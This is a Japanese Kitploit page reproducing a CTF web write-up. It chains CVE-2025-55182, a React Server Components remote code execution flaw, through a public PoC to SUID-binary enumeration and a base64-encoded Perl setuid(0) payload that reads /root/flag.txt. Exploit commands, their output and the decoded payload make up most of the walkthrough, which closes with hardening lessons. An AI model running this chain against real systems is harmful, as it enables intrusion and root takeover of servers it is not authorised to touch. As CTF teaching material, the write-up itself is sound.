Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Explosive-As-Hell-MCS-Qualifer-Web-500 — [First-Blood-XO] React Server Component エンドポイントは CVE-2025-55182 (RCE) に対して脆弱 → SUIDバイナリを列挙 → /usr/bin/perl に SUID が設定されていた → Perl の POSIX setuid(0) を使用してrootに昇格 → /root/flag.txt を読み取った | Kitploit
ツール/GitHubGitHub/abdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500
特権昇格偵察脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育バイナリエクスプロイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ラボと実践
GitHubabdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500

Explosive-As-Hell-MCS-Qualifer-Web-500

[First-Blood-XO] React Server Component エンドポイントは CVE-2025-55182 (RCE) に対して脆弱 → SUIDバイナリを列挙 → /usr/bin/perl に SUID が設定されていた → Perl の POSIX setuid(0) を使用してrootに昇格 → /root/flag.txt を読み取った

リポジトリを見る
15ヶ月前未レビュー

CVE-2025-55182 — React Server Components RCE | CTF ライトアップ

カテゴリ: Web Exploitation | 難易度: Medium | 脆弱性: Remote Code Execution → SUID 権限昇格


TL;DR

React Server Component のエンドポイントが CVE-2025-55182 (RCE) に対して脆弱 → SUID バイナリを列挙 → /usr/bin/perl に SUID が設定されていた → Perl の POSIX setuid(0) を使用して root に昇格 → /root/flag.txt を読み取り。

フラグ: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}


ステップ 1 — 偵察

ターゲット: http://challenge.cybermesh.site:30035/

ターゲットは React ベースの Web アプリケーションであり、React Server Components (RSC) を活用していた。これは比較的新しいアーキテクチャで、コンポーネントをサーバー側で実行し、カスタムワイヤフォーマットを介してシリアライズされた出力をクライアントにストリーミングする。

このアーキテクチャはサーバー側の実行境界を導入する。その境界での不適切な入力処理が、まさに CVE-2025-55182 が悪用する点である。


ステップ 2 — 脆弱性: CVE-2025-55182

React Server Components RCE — サーバーは、ユーザー制御の入力がサーバー側のコンポーネント実行レイヤーに到達する前にサニタイズするのに失敗する。これにより、攻撃者は Node.js プロセスのコンテキストで実行される OS レベルのシェルコマンドを注入できる。

攻撃フロー:

  1. 攻撃者が悪意のある RSC ペイロードを作成する
  2. サーバーが入力をデシリアライズし、サニタイズされていない値をサーバーコンポーネント関数に渡す
  3. OS コマンドが実行され、出力が RSC レスポンスにストリーミングされる
  4. 攻撃者がレスポンスボディからコマンド出力を読み取る

ステップ 3 — エクスプロイトの準備

この CVE に対する公開 PoC が存在する:

root@kitploit:~
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc

初期検証 — RCE と実行コンテキストの確認:

root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"

出力:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► app

サーバーはユーザー app として実行されている。root ではない — 昇格が必要。


ステップ 4 — SUID の列挙

SUID バイナリのスキャン:

root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ \
  -c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"

出力:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► /usr/bin/gpasswd
  ► /usr/bin/perl       <--- !!!
  ► /usr/bin/chsh
  ► /usr/bin/su
  ► /usr/bin/chfn
  ► /usr/bin/umount
  ► /usr/bin/mount
  ► /usr/bin/passwd
  ► /usr/bin/newgrp

/usr/bin/perl には SUID ビットが設定されている。これはよく知られた GTFOBin である — Perl が root によって所有され SUID である場合、誰が起動しても root 権限で実行される。


ステップ 5 — SUID Perl を介した権限昇格

以下の処理を行う base64 エンコードされた Perl ペイロードを構築:

  • PATH を設定
  • POSIX::setuid(0) を呼び出して root に昇格
  • /root/flag.txt を開いて読み取り

RCE エンドポイントを通じて送信:

root@kitploit:~
python exploit.py \
  -t http://challenge.cybermesh.site:30035/ \
  -c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"

デコードされたペイロードはおおよそ以下の通り:

root@kitploit:~
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);

出力:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

フラグ

root@kitploit:~
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

重要なポイント

1. RSC の攻撃対象領域は過小評価されている。

React Server Components は新しいパラダイムである。多くのデプロイメントでは、サーバーコンポーネント境界での入力インジェクションに対する堅牢化が行われていない。この CVE は、「サーバーサイドレンダリング」が本質的に安全ではないこと、実行境界には依然として適切なサニタイズが必要であることを思い出させる。

2. スクリプトランタイムへの SUID = 瞬時の root 昇格。

SUID が設定された /usr/bin/perl は典型的な設定ミスである。GTFOBins で詳細にカバーされている。スクリプト言語 (Perl, Python, Ruby など) に SUID ビットを決して設定してはならない — SUID 用に設計されたコンパイル済みバイナリ (su, passwd) とは異なり、これらのランタイムは簡単な昇格経路を提供する。

3. フラグは自己認識型である。

SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — このチャレンジは、意図された昇格経路として SUID Perl を中心に明示的に設計されている。クリーンなチェーン。


攻撃チェーンの概要

root@kitploit:~
CVE-2025-55182 (RSC RCE)
    └─> whoami → user "app"
    └─> find SUID binaries
    └─> /usr/bin/perl (SUID root) identified
    └─> base64 Perl payload → write to /tmp/p.pl
    └─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
    └─> FLAG ✓

参考文献

  • github.com/surajhacx/react2shellpoc
  • GTFOBins — perl SUID
  • NVD — CVE-2025-55182

執筆: Abdullah Maqbool — Penetration Testing Engineer @ TISS | CRTA · CRTOM · CompTIA PenTest+

ツールをダウンロード